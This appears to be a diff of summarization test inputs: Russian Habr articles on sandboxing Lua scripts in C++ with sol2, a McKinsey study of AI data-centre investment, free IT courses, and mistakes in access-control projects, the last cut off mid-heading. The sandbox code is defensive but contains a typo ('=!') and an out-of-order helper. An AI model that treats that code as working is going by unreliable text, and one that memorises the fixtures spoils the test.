небезопасной dump, которая позволяет получить байткод любой доступной функций. table — целиком безопасна. math — случайную генерацию (random, randomseed) лучше оставить на стороне хоста (для мультиплеера она обычно должна быть синхронизирована для всех клиентов), а остальное лишним точно не будет. io — действительно, почему бы не дать сомнительным скриптам доступ к файловой системе? os — оставляем только функции для доступа ко времени: clock, difftime и time. coroutine — почему бы и да! Пусть будет. debug — вообще без вариантов, здесь я бы её даже палкой трогать не стал. utf8 и bit32 тоже безопасны целиком, и можно добавлять, но с оглядкой на используемую версию Lua, т.к. они не во всех представлены. Поехали... (c) Так, на данном этапе, похоже, что у нас уже набралась критическая масса информации, достаточная, чтобы начинать реализацию. Но, чтобы нас не разорвало в творческом порыве, пожалуй, стоит сразу обозначить основные моменты, которых будем придерживаться. Песочницы реализуем через механизм подмены глобальной таблицы-окружения (sol::environment). На одном Lua-стейте может быть несколько песочниц одновременно. Если уж параноить, то до конца — песочницы могут обладать разным уровнем доверия, поэтому необходимо иметь возможность ограничения списка доступных для них библиотек. Возможность запроса библиотек из самих скриптов, вообще только самым доверенным песочницам дадим, для остальных же — загрузка по разрешённым спискам только в момент создания самой песочницы. Нужен механизм сброса песочниц после использования до их изначального состояния. Библиотеки грузятся в Lua-стейт целиком, а в песочницы из них пробрасываются только безопасные функции. Функции же, которые нельзя, но очень хочется использовать — заменяем своими безопасными реализациями. Должна быть возможность запуска файлов со скриптами из самих скриптов. Здесь ещё придётся учитывать ограничения по доступным путям. В первую очередь, чтобы можно было вести учёт уже загруженных библиотек и не дёргать open_libraries() каждый раз при создании новой песочницы, сделаем обёртку для sol::state. class LuaRuntime : public sol::state { public: sol::state state; LuaRuntime() = default; ~LuaRuntime() = default; // Запрещаем копирование и перенос LuaRuntime(const LuaRuntime &) = delete; LuaRuntime(LuaRuntime &&) = delete; LuaRuntime &operator=(const LuaRuntime &) = delete; LuaRuntime &operator=(LuaRuntime &&) = delete; // Через это будем сообщать какие библиотеки нам понадобятся в песочнице, // и что их было бы неплохо загрузить в Lua-стейт void require(sol::lib lib) { if (!loadedLibs.contains(lib)) { state.open_libraries(lib); loadedLibs.insert(lib); } } private: std::set loadedLibs; // Список уже загруженных библиотек. }; Объяснить код с Ну и сама песочница: class LuaSandbox { public: explicit LuaSandbox(LuaRuntime &runtime) : runtime(&runtime) { reset(); } ~LuaSandbox() = default; // Аналогично — явно запрещаем копирование LuaSandbox(const LuaSandbox &) = delete; LuaSandbox &operator=(const LuaSandbox &) = delete; // Но перенос оставим, чтобы наши песочницы можно было в контейнерах хранить LuaSandbox(LuaSandbox &&) = default; LuaSandbox &operator=(LuaSandbox &&) = default; // Перегружаем [], чтобы снаружи был прозрачный доступ к элементам песочницы auto operator[](auto &&key) noexcept { return sandbox[std::forward(key)]; } // Сброс через инициализацию новой песочницы // Старую сборщик мусора потом сам грохнет, ну или сразу, если явно попросим void reset(bool doCollectGarbage = false) { sandbox = sol::environment(runtime->state, sol::create); sandbox["_G"] = sandbox; if (doCollectGarbage) { runtime->state.collect_garbage(); } } // Запуск скрипта на выполнение в песочнице auto run(std::string_view script) -> sol::protected_function_result { // Используем именно safe-версию, чтобы sol2 не выбрасывал нам исключения return runtime->state.safe_script(script, sandbox); } // И файла со скриптом, соответственно. Пока без контроля путей auto runFile(const std::filesystem::path &scriptFile) -> sol::protected_function_result { return runtime->state.safe_script_file(scriptFile, sandbox); } private: LuaRuntime *runtime {nullptr}; sol::environment sandbox; }; Объяснить код с Обратите внимание: вызов скриптов на выполнение в run/runFile осуществляется через safe-версии script и script_file. Это сделано специально, чтобы sol2 нам не выбрасывал исключения в случае ошибки. Эти версии на выходе генерируют объект sol::protected_function_result, который сохраняет информацию об ошибках, что позволяет обрабатывать их вручную. Про него ниже поговорим ещё. И вот теперь, наконец-то, можно переходить к библиотекам. Мы уже выяснили, что содержимое библиотек грузить придётся выборочно. Насколько выборочно — тоже уже определили. Остаётся только задать соответствующие правила для каждой из библиотек. class LuaSandbox { ... private: using LibNames = std::vector; struct LibSymbolsRules { LibNames allowed{}; // Белый список LibNames restricted{}; // Чёрный bool allowedAllExceptRestricted{false}; // Определяет какой из списков // используется }; using LibsSandboxingRulesMap = std::map; static const LibsSandboxingRulesMap libsSandboxingRules; ... }; const LuaSandbox::LibsSandboxingRulesMap LuaSandbox::libsSandboxingRules{ {sol::lib::base, {.allowed = {"assert", "error", "ipairs", "next", "pairs", "pcall", "select", "tonumber", "tostring", "type", "unpack", "_VERSION", "xpcall"}}}, {sol::lib::coroutine, {.allowedAllExceptRestricted = true}}, {sol::lib::math, {.allowedAllExceptRestricted = true, .restricted = {"random", "randomseed"}}}, {sol::lib::os, {.allowed = {"clock", "difftime", "time"}}}, {sol::lib::string, {.allowedAllExceptRestricted = true, .restricted = {"dump"}}}, {sol::lib::table, {.allowedAllExceptRestricted = true}} }; Объяснить код с Так, здесь будет вынужденное отступление от основной темы. А именно, по поводу применения в геймдеве контейнеров, активно использующих динамическую аллокацию памяти. Ведь все эти std::vector, std::map и std::set чуть выше по тексту — это как раз они. А для последних двух ещё и локальность данных напрочь отсутствует — там под каждый элемент память выделяется отдельно и, следовательно, располагаться в адресном пространстве они могут где только не. Да, конкретно в данной ситуации, можно абсолютно пренебречь оказываемым ими влиянием на производительность или фрагментацию памяти. Оно ничтожно, просто в силу их размера и того, что используются, по большей части, только в момент инициализации. Но для чистоты: set так и просится заменить его на какой-нибудь bit_set, а map и vector, в которых у нас сейчас сидят правила и список имён таблиц, недоумевают — почему они здесь отдуваются за что-нибудь constexpr-производное от того же std::array, например? Просто, с точки зрения наглядности и читабельности, так лучше, а оптимизацию оставим на потом, когда она реально понадобится... Кто сказал Технический долг? Не понимаю, о чём вы. На этом с правилами закончили. Теперь, в соответствии с ними, нужно загрузить сами библиотеки. Так как мы оперируем библиотеками как sol::lib, то нам понадобится хелпер для получения реального Lua-имени: // Заведём отдельный неймспейс для всякого рода вспомогательных функций. namespace lua { namespace details { struct LibName { sol::lib lib; std::string_view name; }; constexpr auto libsNames = std::to_array({ {sol::lib::base, "base"}, {sol::lib::bit32, "bit32"}, // Lua 5.2 only {sol::lib::coroutine, "coroutine"}, {sol::lib::debug, "debug"}, {sol::lib::ffi, "ffi"}, // LuaJIT only {sol::lib::io, "io"}, {sol::lib::jit, "jit"}, // LuaJIT only {sol::lib::math, "math"}, {sol::lib::os, "os"}, {sol::lib::package, "package"}, {sol::lib::string, "string"}, {sol::lib::table, "table"}, {sol::lib::utf8, "utf8"} // Lua 5.3+ }); } // namespace details // Собственно сам хелпер. constexpr auto libName(sol::lib lib) noexcept -> std::optional { auto findLib = [lib](auto &lookup) -> bool { return lookup.lib == lib; }; const auto &libs = lua::details::libsNames; if (auto it = ranges::find_if(libs, findLib); it != libs.end()) { return it->name; } return std::nullopt; } // Ну и чтобы два раза не вставать, сразу добавим обратный. constexpr auto libByName(std::string_view libName) noexcept -> std::optional { auto findLibName = [libName](auto &lookup) -> bool { return lookup.name == libName; }; const auto &libs = lua::details::libsNames; if (auto it = ranges::find_if(libs, findLibName); it != libs.end()) { return it->lib; } return std::nullopt; } } // namespace lua Объяснить код с Ну и наконец, сам загрузчик: class LuaSandbox { ... private: void copyLibFromState(sol::lib lib, const LibSymbolsRules &rules); ... }; void LuaSandbox::copyLibFromState(sol::lib lib, const LibSymbolsRules &rules) { // Определяемся с именем таблицы, где обитает запрошенная библиотека. const auto libLookupName = lua::libLookupName(lib); if (libLookupName.empty()) { return; } // Копировать будем отсюда, const sol::table src = runtime->state[libLookupName]; // проверив, на всякий случай, что таблица таки существует. if (!src.valid()) { return; } // Функции из 'base' заливаются прямо в '_G', который у нас уже есть, // для остальных же библиотек придётся создать свои таблицы для копирования. if (lib != sol::lib::base) { sandbox[libLookupName] = sol::table(runtime->state, sol::create); } // Сюда. sol::table dst = sandbox[libLookupName]; // Ну и, собственно, то, к чему мы так долго и тернисто шли — заливаем в песочницу, if (rules.allowedAllExceptRestricted) { // копируя вообще всё содержимое поэлементно, for (const auto &[name, object] : src) { dst[name] = object; } // и удаляя запрещёнку. for (const auto &name : rules.restricted) { dst[name] = sol::nil; } } else { // Ну или, в случае белого списка, // просто грузим только разрешённое. for (const auto &name : rules.allowed) { dst[name] = src[name]; } } } // И чуть не забытый хелпер namespace lua { // для определения имени таблицы — местоположения библиотеки внутри Lua-стейта. constexpr auto libLookupName(sol::lib lib) -> std::string_view { // Функции из `base` сидят прямо в "корне" — '_G', // в отличие от остальных библиотек. return (lib == sol::lib::base) ? "_G" : lua::libName(lib).value_or(""); } } // namespace lua Объяснить код с И завершаем картину с библиотеками последними штрихами — интерфейс для их загрузки: // С++ — очень элегантный и лаконичный язык, вы только посмотрите // как изящно и непринуждённо он позволяет выразить синоним для // "Какой-нибудь итерируемый контейнер с sol::lib внутри" template concept SolLibContainer = std::ranges::range && std::same_as, sol::lib>; // Благодаря чему, мы сможем почти из любого контейнера // грузить библиотеки сразу пачкой. void LuaSandbox::loadLibs(const SolLibContainer auto &libs) { for (const auto &lib : libs) { loadLib(lib); } } // Ну или по одной. bool LuaSandbox::loadLib(sol::lib lib) { const auto rules = checkRulesFor(lib); // Для неё правила есть вообще? if (!rules) { return false; } // Запрос на загрузку библиотеки в Lua-стейт. // Нам же нужно её откуда-то в песочницу подтягивать runtime->require(lib); copyLibFromState(lib, *rules); loadedLibs.insert(lib); // Учёт загруженных библиотек return true; } // Просто проверка на наличие правил для конкретной библиотеки auto LuaSandbox::checkRulesFor(sol::lib lib) const noexcept -> opt_cref { if (const auto it = libsSandboxingRules.find(lib); it =! libsSandboxingRules.end()) { return it->second; } return std::nullopt; } class LuaSandbox { ... public: void loadLibs(const SolLibContainer auto &libs); bool loadLib(sol::lib lib); private: auto LuaSandbox::checkRulesFor(sol::lib lib) const noexcept -> opt_cref std::set loadedLibs; ... }; Объяснить код с Здесь может несколько смутить возвращаемый тип opt_cref для checkRulesFor, но это просто константный std::optional для &ссылок, который в 20 стандарт C++ ещё не завезли. Реализация, если интересно. template class optional_ref { public: optional_ref() = default; optional_ref(std::nullopt_t) : ref(std::nullopt) {} optional_ref(T &value) : ref(value) {} explicit operator bool() const noexcept { return has_value(); } T &operator*() noexcept { return ref->get(); } const T &operator*() const noexcept { return ref->get(); } T *operator->() noexcept { return std::addressof(**this); } const T *operator->() const noexcept { return std::addressof(**this); } bool operator==(std::nullopt_t) const noexcept { return !has_value(); } bool operator!=(std::nullopt_t) const noexcept { return has_value(); } bool has_value() const noexcept { return ref.has_value(); } void reset() noexcept { ref.reset(); } private: std::optional> ref; }; template using opt_ref = optional_ref; template using opt_cref = optional_ref; Объяснить код с Все животные равны, но некоторые равнее. Вспоминаем про нашу паранойю и позволим создавать песочницы только по заранее заданным шаблонам, ограничивающим список загружаемых библиотек. Отдельно выделим шаблон Custom, для которого, мало того, что весь список библиотек доступен, так ещё и позволяем загружать их по мере необходимости, а не в момент создания песочницы. class LuaSandbox { public: enum class Presets { Core, Minimal, Complete, Custom }; // Чуть доработаем наш конструктор // Чтобы без указания шаблона нельзя было создать песочницу explicit LuaSandbox(LuaRuntime &state, Presets preset) : lua(state), preset(preset) {...} // Ad-hoc загрузка библиотек для его величества Presets::Custom bool LuaSandbox::require(sol::lib lib) { if (preset == Presets::Custom) { return loadLib(lib); } return false; } ... private: ... Presets preset{Presets::Core}; using SandboxPresets = std::map; inline static const SandboxPresets sandboxPresets{ {Presets::Core, {}}, {Presets::Minimal, {sol::lib::base, sol::lib::table}}, {Presets::Complete, {sol::lib::base, sol::lib::coroutine, sol::lib::math, sol::lib::os, sol::lib::string, sol::lib::table}}, {Presets::Custom, {}} }; }; // Добавим в reset() загрузку библиотек после сброса. // И, т.к. он у нас несколько распух — вынесем в cpp-файл. void LuaSandbox::reset(bool doCollectGrbg /* = false */) { sandbox = sol::environment(lua->state, sol::create); sandbox["_G"] = sandbox; if (loadedLibs.empty()) { // Для конструктора используем список из пресета. loadLibs(sandboxPresets.at(preset)); } else { // Если же инкарнация уже не первая, то грузим всё, что было в прошлой жизни. loadLibs(loadedLibs); } // Принудительная уборка мусора, в случае необходимости if (doCollectGrbg) { lua->state.collect_garbage(); } } Объяснить код с С основным, вроде, разобрались. Но объём уже и так более чем существенный получился, поэтому продолжим в следующих частях, где займёмся возможностью запуска файлов со скриптами из самих скриптов, контролем путей и ограничением ресурсов. +============== diff --git a/tests/summarization/https___habr.com_ru_companies_croc_articles_987856_.txt b/tests/summarization/https___habr.com_ru_companies_croc_articles_987856_.txt new file mode 100644 index 0000000..03d6f02 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_companies_croc_articles_987856_.txt @@ -0,0 +1,2 @@ +Искусственный интеллект растет так быстро, что для его обучения и работы миру приходится стремительно наращивать вычислительные мощности. На строительство новых дата-центров уходят уже не миллионы, а триллионы долларов, и большая часть этих средств нужна именно под ИИ-нагрузки. Мы подготовили краткую выжимку исследования McKinsey, где объясняется, как сегодня формируется рынок вычислительных мощностей и почему компании по всему миру готовы вкладывать такие суммы. Самый интригующий момент: если текущие тенденции сохранятся, к 2030 году стоимость инфраструктуры под ИИ может приблизиться к $7 трлн. Откуда берутся такие масштабы — разбираем ниже. Чтобы ИИ продолжал расти, нужны все новые дата-центры — и строить их приходится очень быстро. Но есть нюанс: никто точно не знает, сколько вычислений понадобится через год или два. Поэтому компаниям приходится идти аккуратно: вкладывать деньги поэтапно, не разгоняться слишком сильно и смотреть, как меняется рынок. Ошибешься — построишь лишнее и не окупишь. Опоздаешь — отстанешь от конкурентов. В этой гонке участвуют все: строители дата-центров, энергетики, производители чипов, облачные гиганты. Каждый понимает, что без новых мощностей ИИ не двинется дальше. Но главный вопрос остается открытым: кто именно будет вкладывать в это миллиарды и какие технологии окажутся нужными завтра? Прогнозы есть, но мир ИИ меняется так быстро, что даже самые аккуратные расчеты стареют буквально на глазах. А что с вычислениями вне ИИ? Даже если кажется, что весь мир теперь крутит нейросети, «традиционные» ИТ-нагрузки по-прежнему занимают значительную часть работы дата-центров. Это веб-сайты, корпоративные ERP-системы, почтовые сервисы, хранилища файлов и другие привычные приложения, которые продолжают составлять основу цифровой инфраструктуры. В отличие от задач искусственного интеллекта, таким нагрузкам не нужны графические ускорители или специализированные AI-чипы — им вполне хватает обычных процессоров. Они предсказуемее по режиму работы и куда менее требовательны к питанию и охлаждению. Поэтому дата-центры, ориентированные на «классические» ИТ-сервисы, заметно отличаются от тех, что строятся под ИИ: и по архитектуре, и по капитальным затратам, и по ежедневным расходам на эксплуатацию. Как угадать, сколько вычислений ИИ «съест» завтра Предсказать, сколько вычислений понадобится через пару лет, — задача из разряда «угадай число». Исследование McKinsey говорит: к 2030-му спрос на мощности может вырасти почти в три раза, и значительная доля уйдет непосредственно под ИИ. Источник: McKinsey Data Center Demand Model; отчеты Gartner; отчеты IDC; отчеты Nvidia о рынке капитальных вложений Но есть два фактора, из-за которых все может пойти совсем по другому сценарию. Во-первых, неясно, насколько полезным окажется ИИ в реальных задачах. Если бизнес найдет для него действительно рабочие применения — спрос взлетит. Если нет — все прогнозы останутся прогнозами. Во-вторых, технологии меняются так быстро, что модели становятся все эффективнее. Одни компании уже заявляют, что обучают ИИ в разы дешевле. Но тут есть подвох. Как только обучение моделей становится дешевле, ИИ начинают использовать чаще, обучать больше моделей и запускать больше экспериментов. В итоге общее потребление вычислительных мощностей может не снизиться и даже продолжать расти. Постоянное развитие технологий ИИ, таких как процессоры, архитектуры больших языковых моделей (LLM) и энергопотребление, может значительно повысить эффективность. Например, в феврале 2025 года китайский игрок на рынке LLM DeepSeek сообщил, что его модель V3 достигла значительного повышения эффективности обучения и рассуждений, в частности, сократив затраты на обучение примерно в 18 раз и затраты на вывод примерно в 36 раз по сравнению с GPT-4o.2 Сколько стоит поддерживать ИИ в рабочем состоянии По расчетам McKinsey, к 2030 году компаниям, работающим в сфере вычислительной инфраструктуры, потребуется вложить около $5,2 трлн только в те дата-центры, которые обслуживают искусственный интеллект. Чтобы представить себе, что означает такой объем капитальных вложений, достаточно взглянуть на несколько показателей. • Труд. Полтриллиона долларов — это примерно 12 млрд рабочих часов или 6 млн человек, занятых полный рабочий день в течение года. • Оптоволокно. Сумма в $150 млрд эквивалентна прокладке 3 млн миль кабеля — хватило бы, чтобы обернуть Землю около 120 раз. • Энергия. Производство электроэнергии на $300 млрд добавило бы 150–200 гигаватт мощности — достаточно, чтобы обеспечить светом 150 млн домов, то есть больше, чем все домохозяйства США вместе взятые. Даже по этим сравнениям видно: инфраструктура под ИИ превращается в один из самых дорогих проектов в истории технологий. Прогнозы, которые меняются быстрее, чем новости McKinsey рассмотрела три варианта того, как дальше будет расти спрос на вычислительные мощности. Если ИИ продолжит развиваться на полной скорости, миру придется вложить почти 8$ трлн в новые дата-центры и добавить огромный объем мощностей. Более сдержанный сценарий — около $5 трлн, а в самом осторожном прогнозе сумма снижается примерно до $4 трлн. Источник: McKinsey Data Center Capex TAM Model; McKinsey Data Center Demand Model Разброс получается большим, потому что слишком много зависит от того, как быстро ИИ будет внедряться в реальный бизнес и какие технологии появятся в ближайшие годы. Чем активнее компании используют ИИ, тем быстрее растут вычислительные нагрузки — и тем больше нужно дата-центров, оборудования и энергии. Но есть и другие факторы: конкуренция между крупными игроками за инфраструктуру, геополитика и даже стремление стран обеспечить себе технологическую независимость. Все это толкает рынок к тому, что инвестиций понадобится очень много — даже в самом осторожном прогнозе. Куда идут инвестиции Даже сумма в $5,2 трлн — это еще не весь будущий счет за инфраструктуру ИИ. Такие вложения делят между собой три основные группы: те, кто строит дата-центры, те, кто обеспечивает их электричеством, и те, кто производит все «железо» — от процессоров до сетевого оборудования. На них уходит большая часть денег: земля, материалы, электросети, охлаждение, чипы, сервера — все это стоит очень дорого. Но на этом экосистема не заканчивается. Есть еще операторы — огромные облачные компании, которые запускают сервисы поверх этой инфраструктуры, — и разработчики ИИ-моделей, которым тоже нужны свои мощности. Они вкладывают не меньше, просто их расходы труднее посчитать: они смешаны с затратами на исследования, разработки и обучение моделей. Почему инвестиций мало — и кто платит за всю эту ИИ-историю Хотя расчеты McKinsey говорят о триллионах долларов, реальные инвестиции пока заметно отстают. Компании не спешат вкладываться «на полную»: рынок меняется слишком быстро, ИИ развивается скачками, а строительство дата-центра занимает годы. Руководители честно признаются: трудно инвестировать миллиарды, если завтра все может пойти по другому сценарию. Главное сомнение у всех одно — окупится ли это вообще? При этом в инфраструктуру ИИ инвестируют пять больших групп, и каждая отвечает за свой кусок пазла. 1. Строители — те, кто возводит дата-центры. Им нужны площадки, материалы, инженерка и рабочие руки. Их главный вызов — найти подходящую землю и специалистов, а главное — строить так, чтобы объект не устарел еще до сдачи. Многие уже переходят на модульные решения: крупные блоки собирают заранее, чтобы быстрее запустить объект. 2. Энергетики — компании, которые обеспечивают электричество и охлаждение. Без них ни один дата-центр просто не включится. Здесь проблемы тоже серьезные: сети перегружены, оборудование для охлаждения дорожает, а сроки подключения к сетям растягиваются на месяцы. В игру входит «чистая» энергетика — солнечная, ветровая, геотермальная — потому что ИИ становится очень прожорливым. 3. Производители технологий — чипы, GPU, серверы, сети. Это самый дорогой сегмент. Именно они создают то, что запускает ИИ. Спрос растет быстрее, чем заводы успевают выпускать чипы. Плюс зависимость от нескольких крупнейших производителей ставит весь рынок в уязвимую позицию: если один игрок тормозит — тормозит все. 4. Операторы — облачные гиганты и центры колокации. Они превращают всю эту инфраструктуру в сервисы. Их задача — выжать максимум из оборудования, автоматизировать все, что можно, и удержать стоимость работы ИИ на приемлемом уровне. Но им тоже сложно планировать: модели меняются быстро, а окупаемость не всегда очевидна. 5. Архитекторы ИИ — те, кто создает сами модели. Они задают требования к инфраструктуре: чем сложнее модель, тем дороже ее обучение и вывод. Для них главный вызов — сделать ИИ умнее, но при этом дешевле в работе. Они экспериментируют с архитектурами, дистилляцией, оптимизациями — все ради того, чтобы не разориться на инференсе. Что может изменить траекторию ИИ-инфраструктуры и как компаниям не промахнуться с инвестициями Вложения в инфраструктуру ИИ могут оказаться как умеренными, так и запредельными — от примерно $3,7 трлн в «осторожном» сценарии до почти $8 трлн, если спрос продолжит расти ускоренными темпами. Все упирается в то, как будут развиваться технологии и насколько предсказуемым окажется рынок. На решения инвесторов влияет сразу несколько факторов. Во-первых, технологические прорывы. Новые архитектуры моделей, более эффективные алгоритмы и способы экономить вычисления могут на какое-то время снизить потребность в железе и энергии. Во-вторых, цепочки поставок. Если не хватает микросхем, инженеров, электрических мощностей или подключения к сетям — никакой ИИ не поможет. Производители чипов строят новые фабрики, но это долго, дорого и зависит от регуляторов. И, наконец, геополитика. Ограничения на экспорт технологий, торговые барьеры и тарифы могут в любой момент поменять расстановку сил и планы по расширению дата-центров. На этом фоне выигрывать будут те, кто думает не только о масштабах, но и об эффективности. McKinsey предлагает простой трехшаговый подход, чтобы инвестировать уверенно: 1. Понимать спрос, даже когда он неопределен. Следить за развитием моделей и сфер применения ИИ, планировать гибко, с запасом на неожиданные изменения. 2. Вкладывать в эффективность. Энергоэффективные алгоритмы, экономичные чипы, умные системы управления — все это помогает снижать стоимость вычислений. 3. Укреплять цепочки поставок. Электроэнергия, полупроводники, серверы, площадки — чем устойчивее доступ к этим ресурсам, тем меньше рисков и задержек. В итоге выигрывают не те, кто тратит больше всех, а те, кто умеет сочетать рост с разумной экономикой. Гонка инфраструктуры — это уже не просто борьба за вычислительные мощности, а попытка сформировать будущее самого искусственного интеллекта. К чему все идет Вычислительная мощность постепенно превращается в новую валюту цифровой экономики — и тем, кто сегодня строит инфраструктуру, предстоит формировать правила игры на годы вперед. Искусственный интеллект меняет архитектуру дата-центров, подходы к энергетике и сами бизнес-модели, а значит, и ставки в этой гонке растут вместе с терабайтами. Главная трудность здесь не в том, чтобы инвестировать еще в один дата-центр, а в том, чтобы понять, какой именно потребуется завтра. В мире, где технологии обновляются быстрее проектной документации, уверенность в прогнозах — роскошь. Но именно те компании, которые смогут сочетать амбиции с трезвым расчетом, и станут определять облик индустрии вычислений в ближайшее десятилетие. И, возможно, главный урок здесь прост: в эпоху ИИ выигрывают не те, кто тратит больше, а те, кто умеет считать — мощности, энергию и цену каждого решения. +============== diff --git a/tests/summarization/https___habr.com_ru_companies_habr_career_articles_987870_.txt b/tests/summarization/https___habr.com_ru_companies_habr_career_articles_987870_.txt new file mode 100644 index 0000000..1f82336 --- /dev/null +++ b/tests/summarization/https___habr.com_ru_companies_habr_career_articles_987870_.txt @@ -0,0 +1,2 @@ +Войти в IT сегодня можно без платных буткемпов, кредитов и бесконечных марафонов. На рынке немало бесплатных курсов, которые позволяют попробовать свои силы в программировании, тестировании, DevOps и инженерных направлениях — и понять, как устроена работа в IT изнутри. Бесплатное обучение помогает базово освоиться и не тратить деньги, пока не станет понятно, в какую сторону хочется расти и хочется ли вообще. Если вы давно присматриваетесь к IT, но сомневаетесь — эта статья для вас. Разберем, какие направления можно освоить бесплатно и где учиться. Как войти в IT бесплатно Если глаза разбегаются и не понимаете, какое IT-направление выбрать, советуем начать с самой базы. Например, основ программирования, разработки, архитектуры, тестирования и DevOps. Выбирайте то, что вам интересно, а если есть сомнения — пройдите сразу несколько образовательных программ и даже все, чтобы найти то, что по душе. 1. Основы программирования Все айтишники начинают с освоения языков программирования — это база. Курсы по основам программирования помогают понять синтаксис, структуры данных и логику этого дела. Где учиться У платформы Stepik много бесплатных курсов по Python, Java, JavaScript и другим языкам программирования. Курсы вводные и короткие — на каждый уйдет неделя, но этого хватит, чтобы познакомиться с базовыми возможностями языков программирования. Школа Хекслет предлагает несколько курсов — все они длятся месяц и знакомят слушателей с фундаментом программирования. Например, основными понятиями и методами анализа данных, языками Java, Python, Go и SQL. Бонусом научитесь писать первый код. 2. Веб-разработка — frontend и backend Основы веба должен знать каждый разработчик. Это тоже база, так что на рынке онлайн-образования немало бесплатных теоретических курсов, после которых можно приступить к практике, построить начальный стек навыков и создать первые проекты. Где учиться У Хекслета есть короткие курсы по основам веб-разработки. Начинающие специалисты могут познакомиться с основами верстки, ключевыми понятиями и синтаксисом, а также написать первый код на JavaScript и создавать сайты с помощью PHP. Stepik предлагает вводные программы по работе с кодом, базам данных и API. Из плюсов — программ много и рассчитаны они не только на прослушивание лекций, но и на решение практических задач. 3. Системное мышление и архитектура IT-систем Айтишникам нужно знать, как устроены системы. Даже если не планируете сразу углубляться в код, с основами системного мышления ознакомиться стоит — так будет проще ориентироваться в задачах backend, DevOps и системной интеграции. Где учиться Aston предлагает новичкам освоить базовую программу по системному анализу — профессии на стыке разработки, аналитики и менеджмента. От кандидатов требуется экономическое или техническое образование, готовность учиться на дальнейших ступенях программы и ездить в командировки в Петербург и Москву. У SF Education регулярно доступны бесплатные модули курсов — например, по аналитике в бизнесе. Специалистов научат выявлять тренды, проблемы и возможности бизнеса, чтобы лучше понимать цели и задачи компаний. 4. Тестирование и обеспечение качества QA подойдёт тем, кто хочет работать с продуктом и отвечать за его качество, не уходя сразу в разработку и код. Где учиться У школы Aston есть учебный модуль по специальности QA Engineer Java. Обучение не для новичков — нужны знания в теории тестирования, базовые знания Java, понимание SQL и принципов работы мобильных и веб-приложений. Кстати, лучших студентов пригласят на стажировку с последующим трудоустройством в IT-компанию Aston. 5. DevOps и инфраструктура DevOps-культура требует от специалистов знания процессов, CI/CD, автоматизации и работы с инфраструктурой. Бесплатные программы дадут представление, какие инструменты востребованы и как они применяются в реальных workflow. Где учиться Aston предлагает курс по DevOps для новичков, у которых не хватает знаний для старта в IT, и профессионалов, желающих сменить сферу в IT. Студентов научат автоматизировать рутину, ускорять процессы разработки и развёртывания ПО, чтобы компании экономили и производили качественные программные продукты. Онлайн-университет SF Education регулярно публикует бесплатные вводные модули по DevOps-инструментам и основам работы с Linux и контейнерами, что помогает понять базовые практики автоматизации. Плюсы бесплатного обучения Бесплатные курсы часто воспринимают как разогрев перед настоящим обучением, но на практике это полноценный инструмент входа в IT. Они снижают порог старта: можно попробовать себя в профессии без финансовых вложений и понять, подходит ли вам направление. Формат таких курсов обычно гибкий — обучение легко вписать в рабочий график или совмещать с учёбой. Главное преимущество — возможность без риска пощупать разные роли: фронтенд, бэкенд, QA, DevOps или архитектуру, а уже потом осознанно инвестировать время и деньги в более глубокие программы. +============== diff --git a/tests/summarization/https___habr.com_ru_companies_perco_articles_987866_.txt b/tests/summarization/https___habr.com_ru_companies_perco_articles_987866_.txt new file mode 100644 index 0000000..d59cb7c --- /dev/null +++ b/tests/summarization/https___habr.com_ru_companies_perco_articles_987866_.txt @@ -0,0 +1,2 @@ +Производители обожают рассказывать о чужих ошибках при выборе решения. В финале иногда выясняется, что правильным выбором было решение рассказчика — так совпало. Почему бы и нам не пройтись по этому жанру? Ведь среди причин ошибок — не обязательно лень или глупость. Рынок, требования корпоративного мира, да и сами системы устроены так, что ошибаться — нормально. Привет, Хабр! Мы занимаемся решениями для контроля доступа 37 лет. За эти годы ошибки запуска проектов в области СКУД менялись вместе с технологиями, но, похоже, их суть и сегодня остается прежней. Давайте попробуем ее найти, а заодно поговорить о том, что происходит в мире контроля физического доступа. Сразу отбросим такие очевидные вещи, как «не учли пропускную способность», «забыли про новую точку прохода», «купили считыватели, которые не подошли». Здесь причина на поверхности и обсуждать нечего. Не будем смотреть на отдельные возможности продуктов. Российский рынок очень конкурентный и довольно быстрый — в том смысле, что игроки сразу воспроизводят все, что на их взгляд имеет для заказчиков ценность. Конечно, некоторые штуки мгновенно не сделать — например, трудно полностью перевести систему на веб-интерфейс, чтобы работать с сервером из браузера. Но и это лишь вопрос времени, то есть по большому счету денег. В фокусе нашего внимания — в общем-то стандартные требования к управлению физическим доступом в офисах, бизнес-центрах, на промышленных предприятиях, в учебных заведениях или на кампусах. Хотя отдельные сценарии использования могут отличаться очень сильно, реализовать их позволяют продукты практически всех лидеров российского рынка. Ошибка #1. Начинаем с набора оборудования и софта Есть огромный соблазн начать проект с вопроса: «У нас 5 проходов и 45 кабинетов — какое оборудование нам купить и сколько это будет стоить?». Это кажется логичным, потому что значительная часть компонентов системы должна быть одного производителя — контроллеры обычно жестко привязаны к управляющему софту, а считыватели лучше «дружат» со своими контроллерами. Вот тут и кроется уловка: то, что выглядит как очень рациональная задача, на самом деле превращается в источник ошибок. Выбор оборудования кажется «техническим» решением, основанным на веском и лежащим на поверхности аргументе — на стоимости. Что же здесь не так? Проблема в том, что вопрос «какое оборудование купить» может легко подменить собой более сложный, но куда более важный разговор — зачем система вообще нужна и как именно она будет работать. Мы на первом же шаге спрашиваем: «как сэкономить?» — вместо того, чтобы сначала детально разобраться с функциями и конкретными сценариями работы. СКУД — это не сумма турникетов, замков, контроллеров и лицензий. Это прежде всего формализованные правила доступа: кто, куда, когда и при каких условиях может пройти. А еще — что происходит, если он опоздал, уволился, потерял пропуск, пришел ночью, привел гостя или оказался в аварийной ситуации. Все эти сценарии существуют независимо от того, какое оборудование будет выбрано, но именно они определяют, каким должно быть оборудование и сколько его на самом деле понадобится. Если начать с «железа», то сценарии все равно всплывут позже. Хорошо, если до внедрения. Хуже, если после — когда внезапно выяснится, что требуется совсем другое зонирование, другие типы точек прохода, что выдача временных пропусков должна быть организована иначе, а HR хочет отчет о проходах, которые не контролируются. И вот тут оказывается, что стоимость оборудования, которая казалась веским аргументом, отправила нас совсем в другую сторону. Формально это может быть примерно тот же самый комплект оборудования, но бюджет и сроки уже будут жить своей собственной жизнью. Эта уловка опасна тем, что выглядит разумно. В корпоративных проектах так принято: сначала прикинуть железо и цифры, потом «разберемся по ходу». Но в случае СКУД это почти гарантированно ведет к ситуации, когда система технически работает, а организационно — нет. Правильная точка входа в проект здесь — не спецификация оборудования, а модель доступа: сценарии, роли, исключения и точки изменения системы. Железо и софт должны подбираться под эту модель, а не наоборот. Иначе СКУД быстро превратится просто в дорогой электронный замок. Ошибка #2. Проектируем СКУД под текущую 